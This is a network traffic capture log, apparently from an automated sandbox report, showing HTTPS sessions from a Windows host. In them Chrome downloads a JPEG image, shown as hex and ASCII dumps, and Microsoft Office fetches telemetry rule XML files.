2024-10-07 12:10:32 UTC	8000	IN	Data Raw: a9 96 1f 9b a8 2a ab b1 e6 0d f0 df 4a 39 26 39 07 3c f4 a1 be 1b e9 3b 49 11 c8 31 c6 2b d3 7c bd 3d c8 02 e1 31 f5 a6 ff 00 67 59 c9 8c 5c 2b 7f c0 85 43 c2 cb a3 1f b5 5d 8f 2b 97 e1 76 9f 23 02 b2 32 28 ed b6 ab b7 c2 7b 70 09 86 ed 91 bd 0a 91 5e b2 74 78 1b 25 25 18 fa d3 0e 8a 08 1f 36 7f 3a 9f ab 4f b8 fd b4 4f 22 ff 00 85 65 73 0e 76 de 29 fc 4d 71 9e 2b 8e e3 41 99 62 0c 59 71 8d c6 be 8c 6d 1f 1d 39 ae 13 e2 17 81 5b 53 b4 69 23 50 0e 3a f5 34 7b 2a 8b 71 f3 c5 ec 78 05 cc d2 5c b6 59 bf 0a 87 cb f7 ab 97 d6 b2 69 d7 0f 04 c9 89 14 e2 aa 33 74 ac f5 34 d0 61 eb 4d c7 a1 a7 9c 7e 14 df 7a 06 6b f8 57 4a 9f 5a d6 ad ac 6d 88 0f 33 63 73 72 00 ee 6b d5 a5 f8 32 7a c7 2c 6f f9 8f c6 99 f0 77 c2 6d a3 da be b1 79 11 4b 8b 84 c4 0a c3 94 4f 5f c7 f9 Data Ascii: J9&9<;I1+\|=1gY\+C]+v#2({p^tx%%6:OO"esv)Mq+AbYqm9[Si#P:4{qx\Yi3t4aM~zkWJZm3csrk2z,owmyKO_
2024-10-07 12:10:32 UTC	8000	IN	Data Raw: 8d e0 1b 0e a2 33 51 b7 80 ec fb 47 8c 57 a0 79 f6 ad d5 70 7e 86 8d d6 8d d1 97 27 de 97 3a eb 10 e5 ed 23 cf 3f e1 02 b4 dc 3e 4e 01 a6 ff 00 c2 0f 6c ac 14 2a 0c 77 c5 7a 2a db da b3 70 f8 f5 e4 50 74 f8 4b 0d a4 7e 54 bd a5 3e a8 ae 49 74 67 9b 1f 05 45 c9 da 07 e1 4d ff 00 84 35 17 3f 2f 3f 4a f4 96 d3 54 b7 de 07 f0 a6 7f 65 00 3a 8f ce 8e 7a 56 dc 39 26 79 bf fc 21 e9 d8 0e be 94 df f8 44 d5 58 1d bf 95 7a 37 f6 61 e3 e5 03 1e 86 a3 3a 5b 2b 29 d8 7e 95 57 a7 d1 91 69 f6 3c fb fe 11 95 1c 60 0a 3f e1 1b 51 d5 6b bc 7d 34 f2 36 9f 6e 2a 36 b1 19 e5 78 f7 15 56 87 70 bc 96 8d 1c 37 fc 23 eb e8 29 df d8 63 ae 01 ae cd ac 86 48 23 1f 85 47 25 88 f4 eb df 14 f9 17 42 6e fa 9c 9f f6 4a 77 c6 71 e9 47 f6 5c 63 b0 cf d2 ba 86 b1 1e 9d 3d a9 9f 62 1c e7 39 Data Ascii: 3QGWyp~':#?>NlwzpPtK~T>ItgEM5?/?JTe:zV9&y!DXz7a:[+)~Wi<`?Qk}46n*6xVp7#)cH#G%BnJwqG\c=b9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49884	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:31 UTC	662	OUT	GET /2016/wp-content/uploads/2020/11/commercial-truck-header.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
2024-10-07 12:10:31 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 04 Mar 2021 16:17:40 GMT Accept-Ranges: bytes Content-Length: 101288 Content-Type: image/jpeg
2024-10-07 12:10:31 UTC	7957	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 35 20 37 39 2e 31 36 34 35 39 30 2c 20 32 30 32 30 2f 31 32 2f 30 39 2d 31 31 3a 35 37 3a 34 34 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky<,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44 "> <rdf:RDF xm
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 76 5c 78 73 bd 1a 6b 3c b5 ad ed 9f 75 aa e4 07 41 60 d6 d5 95 f6 9d 4f ac bb fc af db ce 9b 35 9f cb 7f ab 96 9f 1b 97 9b e8 ee dc da df 13 67 ba 8d fe 49 9c 74 b4 f0 a7 1f 99 79 b6 ff 00 91 71 f1 b4 75 db e1 46 c5 25 7b 35 b3 3c 41 1f e3 5b d3 fe 4b f1 f7 b8 ae 7b 7c 3d a3 2f 79 bb bd b6 b7 6b 84 1a c6 ad 2e a7 b5 43 ca 8b e8 f5 7e d3 a7 6f 55 cf fb 5d 96 98 e8 1c ca 96 96 93 8d 31 cc 2f 54 f9 7a ed ea b9 7e 2d a2 ec 4e 86 4b 3d 6d 24 3a 13 52 4f 00 71 5f 1b bb 7f c7 f2 a5 cf 8d 9e 99 33 aa 93 6e d8 c1 2f 51 81 e0 3a b1 e1 89 0b f4 ba cf 4f 0e d6 c4 f1 cd 24 f1 b6 4b 78 b4 50 8e a0 f0 5a b7 8c 27 93 df 14 4d 89 8e 12 17 92 6a e2 6b 81 c9 67 5e db 0b 25 61 6f 57 92 59 59 cf 21 94 c9 23 8d 60 82 20 05 00 e6 4d 17 a2 f6 4c 39 4d 6d 43 b4 6f ec dd 2c 1d 3b Data Ascii: v\xsk<uA`O5gItyquF%{5<A[K{\|=/yk.C~oU]1/Tz~-NK=m$:ROq_3n/Q:O$KxPZ'Mjkg^%aoWYY!#` ML9MmCo,;
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: ef 11 d3 97 e3 d7 ca 7b 1b 5e dc 86 21 6f 15 bc 4d 07 3d 4d 69 24 f3 24 e2 bf 47 db fa 3e cf a3 cb fd c5 b7 d9 2f 7b 57 b6 af 18 e1 2d bb 08 76 7a 4e 9f a1 79 6f eb bb 74 74 d7 e4 6c e3 bb 87 e1 8f 6c 4d 0c a5 92 ba 17 48 dd 0d 14 d5 f2 54 af 57 47 e4 e4 ed f9 73 3c bc c7 70 f8 04 63 b7 ad 96 e3 d5 9d cf 2e 6c 72 57 0a d3 d2 be bf f7 16 f8 be 9c e6 9a fb fa aa c7 f0 3f b9 6d 83 a5 9a 17 39 a1 b5 02 32 5c 49 f4 1a 2f 3f 67 cd d6 78 8e 92 4a 93 6a ec 2d ed 9b 9d ac 12 b2 48 db a8 3a 6d 6d a0 0d 6e 24 57 d0 bd 3d 1d bc f6 c4 73 ed d7 59 32 a1 dc d7 3b 9d ae e5 23 ac 2e 5f 6d 0b 24 73 18 c6 3d c4 9d 26 95 23 c6 8b af 67 7c 99 93 db 97 57 56 66 68 da bb bb ba 6d 6b 24 f2 ba 46 83 46 9d 21 d8 7a 4a ce bf 27 0d 6d f1 5d 26 e5 dc 8e 76 d5 61 77 78 d0 db 89 a5 2f Data Ascii: {^!oM=Mi$$G>/{W-vzNyottllMHTWGs<pc.lrW?m92\I/?gxJj-H:mmn$W=sY2;#._m$s=&#g\|WVfhmk$FF!zJ'm]&vawx/
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 3f 5b ff 00 81 4c 53 29 47 71 b8 e7 6b 4f f3 ff 00 f0 ab 83 29 06 fa 48 ff 00 e5 ff 00 3f ff 00 0a bc 53 91 e3 7a 3f f2 3f 3b f1 27 13 90 3b d1 1f f0 3f 3b ff 00 0a 71 39 25 6e e8 48 fd 17 e7 7e 24 e2 72 2f de 5f d1 fe 77 e2 4e 27 21 f7 97 f4 7f 9d f8 93 89 c8 7d e3 fd 1f e7 7e 25 30 64 bf 78 ff 00 47 f3 fe 24 c2 e4 7d e3 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e1 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e1 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e0 7f e5 fe 77 e2 4c 19 1f 78 ff 00 47 f3 fe 24 c1 91 f7 8f f4 7f 3f e2 4c 19 27 de 5f d1 fc ff 00 89 30 0f bc bf a3 f9 ff 00 12 60 2f de 23 fe 5f cf f8 93 0a 8b de ff 00 ac f5 b4 fd 4d 1a 6b e3 5a d6 89 81 f2 93 5c 07 0a ae ce 49 43 da 81 6a 10 08 d4 a1 0b 42 26 b4 23 5c 82 ad 64 Data Ascii: ?[LS)GqkO)H?Sz??;';?;q9%nH~$r/_wN'!}~%0dxG$}G0d}G0d}G0d}wLxG$?L'_0`/#_MkZ\ICjB&#\d
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: cc fc 43 73 fb 27 fb 2c eb 18 8c 60 06 8b 9a e2 06 ad 5a b4 d3 db f1 aa f9 ff 00 d9 ed cf 39 fe 39 cb e9 5f 9b af 1c 63 ce 31 fd 1c a3 64 00 d5 b8 7a 17 bf 0f 99 b7 b5 b8 37 3b d8 48 30 cf 2c 64 65 a2 47 37 e8 28 66 b5 6d 3b c7 ba 2d e9 d1 dd ae da 07 0e b3 cf d2 4a 66 ac 76 7d 93 de dd c3 b8 5f 49 06 e7 dc d3 59 44 c8 f5 46 5c 21 25 ee ae 5a a4 69 18 0c 57 8f e5 77 ef a6 38 fd 5e ef 8b d1 a6 f9 e5 fe 8d 2d 8f e2 97 76 4d bd dc 58 3e fa 1b cb 28 ba 82 3b 91 10 69 7b 5a ea 35 de 53 4c 57 7e be ed ae 92 df 6f 3f 7f 56 9a ed 64 72 9d 9d bc de 7f 12 2e 37 46 01 2c ac 75 c4 ae 0e c8 ea 76 9f c2 ba ed bd 9e 5c 35 99 af 5d ec ff 00 8c 16 bb fe f6 36 87 58 be 09 dc 5e d6 48 1c d7 30 f4 eb 5e 47 1a 2d eb be 4b ab d2 5b 95 56 d8 38 20 54 05 10 2a 05 a2 05 50 08 a1 Data Ascii: Cs',`Z99_c1dz7;H0,deG7(fm;-Jfv}_IYDF\!%ZiWw8^-vMX>(;i{Z5SLW~o?Vdr.7F,uv\5]6X^H0^G-K[V8 T*P
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: b0 fb 40 a9 83 2e 5f bc 76 fe 94 7d 5b 28 1a d3 f5 8d 17 3d b4 6e 57 2d b2 77 f6 f9 b1 89 99 0d dc d0 ca 70 05 8f 75 3e 45 8c 3a 72 6a de 7c 64 ee 6d eb 66 97 68 dd 6e 9e f8 9e 34 97 b0 00 5c 39 3a 8b 1b 4c d3 2e 7b b7 bb bf b8 7b 6a fd 97 bb 5d cc 90 86 1a e8 a9 d0 e1 c9 cd c8 ab 61 cd d3 bf e3 7f 77 3b b8 63 df 20 9f a5 72 d6 86 3e df fe 13 d8 38 39 ab 3a eb 7e ed 72 fe 8f 56 ed 8f ef 21 b3 de c4 c7 6f 51 fb 9d e0 3a 5e d6 d5 cd f4 82 52 ef 67 d0 9a ca e5 fe 2c fc 6a bb be 0e db 36 89 e3 75 b3 e8 e1 71 11 3d 41 4f 15 99 6e fe fc 2f 8d 7f c5 e5 71 f7 76 fb 15 b4 cc a7 52 39 8e a9 24 7b 6a ed 59 54 3b 34 fc 5a a4 de c6 9b 3e 2b 77 39 86 08 2e 1e 2e 6d 60 6e 9e 94 98 ea 1c 2a 54 bd 32 9c dc e5 c6 f9 3c b7 86 78 9a 20 2e 71 76 96 e4 09 e4 b7 34 c3 37 67 5f Data Ascii: @._v}[(=nW-wpu>E:rj\|dmfhn4\9:L.{{j]aw;c r>89:~rV!oQ:^Rg,j6uq=AOn/qvR9${jYT;4Z>+w9..m`n*T2<x .qv47g_
2024-10-07 12:10:32 UTC	8000	IN	Data Raw: 50 bb 38 97 5a 22 7b 6b fb ab 67 87 43 21 61 f0 2a e4 6a bb bb 77 67 30 34 cb 4a 72 c1 32 a8 64 ee 5d d9 ed 2d eb b8 34 e7 8a 99 19 cf 9a 57 9a bd e4 9e 64 a8 34 6c bb 93 78 b3 66 88 6e 1c 1a 32 07 1a 2b 90 ef ed 4e fd d5 ea fb db c3 b9 55 5c 8b 91 f7 df 72 46 da 0b 92 ef 13 44 c9 83 9d f1 1b ba 03 74 99 81 19 64 16 2d a6 23 9f dd 37 ab bd c2 4d 77 27 53 f3 aa c3 52 33 84 af 04 96 92 df 42 64 2f 52 a7 13 5f 12 80 71 40 dd 58 51 14 dd 45 0c 0d 45 14 6a 28 85 08 17 51 40 ba a8 81 75 94 00 75 4a 07 d5 14 b4 41 eb 3f 0e ee ef 6d bb 72 66 b4 81 6e e6 9a 8a e3 89 47 3d ab 8d de 66 0f bf ba 7f 37 1a 7a 93 6a ba 7a 60 c6 c7 b8 d4 02 56 5b 8f 43 f8 6f f1 0e ff 00 b4 e5 7d b8 85 97 56 93 02 64 8d e2 8e 07 98 2b 17 de 5a 72 7d df bd bf 7b ee 1b dd c8 b0 47 d7 7f 95 Data Ascii: P8Z"{kgC!a*jwg04Jr2d]-4Wd4lxfn2+NU\rFDtd-#7Mw'SR3Bd/R_q@XQEEj(Q@uuJA?mrfnG=f7zjz`V[Co}Vd+Zr}{G
2024-10-07 12:10:32 UTC	8000	IN	Data Raw: 21 c4 2d 20 24 94 54 71 1f 21 f4 9f a5 4b 50 ad 3f 65 ea 2b 9d f2 20 3e c8 50 75 db 5c 60 ed d0 1a d3 cb 8f ca ba c1 60 b4 0e 38 2a 23 73 05 70 28 1b 4a 71 54 20 6d 78 a8 10 80 38 a0 6e 90 81 c0 81 c2 a8 17 50 e4 11 46 a1 f9 21 01 d4 68 39 22 0e bb 79 20 69 95 a3 ea a0 4e b3 7f 25 05 2d e1 c0 ed 57 44 37 51 d2 da 37 fc f6 ac 76 cc ea d6 b7 cb 80 6c c4 87 b1 e3 17 7d 2b 95 8b 93 62 20 35 c0 8a 9a e5 e0 b4 cb 47 6a b6 37 2f 20 60 e1 88 6f 20 17 2e cd f0 e9 a4 75 d6 96 60 b5 ba 1b a9 ed 19 81 4a 7a 97 92 e6 ba 66 2d b6 1a d4 38 1a 1c 0a e7 6a b1 e3 b4 86 3b b9 ed 9e 01 6c 80 e9 3e 25 7d 2e bd b3 ab cd bc f2 c1 93 6f 73 7a e2 b8 c5 9b 56 d1 9f 0c 44 07 b5 c7 03 e6 1e a5 42 12 06 48 15 b6 ae 90 55 b8 9e 00 66 98 0d 36 f2 34 d0 b5 05 db 2d aa 6b 83 46 8f 95 4c Data Ascii: !- $Tq!KP?e+ >Pu\``8*#sp(JqT mx8nPF!h9"y iN%-WD7Q7vl}+b 5Gj7/ `o .u`Jzf-8j;l>%}.oszVDBHUf64-kFL
2024-10-07 12:10:32 UTC	8000	IN	Data Raw: 4e 52 d0 bd 27 2c e4 1d 17 a7 20 74 25 e4 9c 80 60 90 70 4e 40 10 3c a7 20 bd 09 13 90 3a 12 27 20 74 24 4e 40 f7 79 13 90 82 ee 0b 91 69 2f 4c d1 f4 6e 93 fe 7b 53 39 4a cf 82 f6 46 c8 21 ba 6e 87 f0 77 d5 2a 58 ce 56 64 b2 86 52 1e df 2b b8 38 71 52 c3 22 36 cf 6e ec 6b a4 71 e0 bc fd 9d 12 ba eb d9 85 ca 5b 5d 47 f6 a0 35 c3 0d 61 79 f1 bf 5f 9f 71 d7 3a ed fe 2a 57 36 33 db bb 50 f3 33 83 c2 ef d7 df ae ee 77 4b 15 8b 61 90 f9 c5 2b 99 19 7a c2 ed 8b 19 45 1e d9 1c 12 99 ed e3 c5 d4 ab 9b 92 b3 68 cd 94 9b c4 b4 84 98 00 2f 68 c7 05 aa 92 ab d9 dc 4c eb 2d 13 8a 38 e1 ea 5e 49 f1 ff 00 9e 5e 9b db fc 70 4a b5 9e 56 0d 4e e4 17 ab 38 70 4f 05 8d cd d3 e8 1a 5e 7f 24 64 3d 2a 5a b2 2e 4b b5 08 63 68 91 fa 5e 4d 0b 58 30 1e b5 c7 6e d8 eb af 55 a9 6c 9a Data Ascii: NR', t%`pN@< :' t$N@yi/Ln{S9JF!nwXVdR+8qR"6nkq[]G5ay_q:W63P3wKa+zEh/hL-8^I^pJVN8pO^$d=*Z.Kch^MX0nUl
2024-10-07 12:10:32 UTC	8000	IN	Data Raw: 4d 2b 24 2d 76 04 1c d7 58 3a 1d 95 fa a2 a0 52 b3 18 5b 93 e4 17 92 d4 6a f3 1c 7d 6b 9d 69 46 57 cc 69 46 8a 78 a8 08 dc fd 42 a0 66 10 6b ee 9a 85 9d b1 61 d7 e5 f3 03 c1 51 8f d5 77 2f a5 40 75 0f e4 fc c8 13 a8 78 b7 e9 40 bd 4f e6 7d 28 11 b2 17 ca d6 f4 85 1c 69 5c 50 76 9b bb 7d cf b7 e3 0d 9d cf d6 d0 0c 34 14 c4 20 e3 0c ac af e8 b1 f5 a0 56 38 1c e3 1f 3a 0d 2d 89 8d 93 74 81 ba 06 0e 07 8f 02 10 7a 66 e9 30 83 68 99 fc 98 83 c8 ae 65 73 8b 8f 17 1a 9f 5a 0a bf 4a 0b 70 ed b7 73 53 43 30 39 20 d5 b5 ec fb e9 a9 57 06 fa d4 b5 64 33 71 ed 0b cb 66 97 6a 06 8b 3c e4 6f 83 01 f6 f2 31 fa 5c 31 5a 97 2e 69 62 80 56 ab 72 0b 71 8a 78 00 b6 17 de 9a d7 69 18 a6 45 93 73 aa 32 da 66 b9 07 99 83 e3 a8 cc 66 b3 75 6a 55 69 6e 5a dc fe 45 ce 6b e5 6d 56 Data Ascii: M+$-vX:R[j}kiFWiFxBfkaQw/@ux@O}(i\Pv}4 V8:-tzf0hesZJpsSC09 Wd3qfj<o1\1Z.ibVrqxiEs2ffujUinZEkmV

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49887	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121031Z-1657d5bbd48xsz2nuzq4vfrzg800000003e0000000000074 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49892	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 53f69819-801e-0048-7802-17f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121032Z-1657d5bbd48jwrqbupe3ktsx9w00000003hg00000000kpvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49891	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121032Z-1657d5bbd48lknvp09v995n790000000032g00000000bnek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49890	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121032Z-1657d5bbd482lxwq1dp2t1zwkc000000037g000000008eps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49889	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
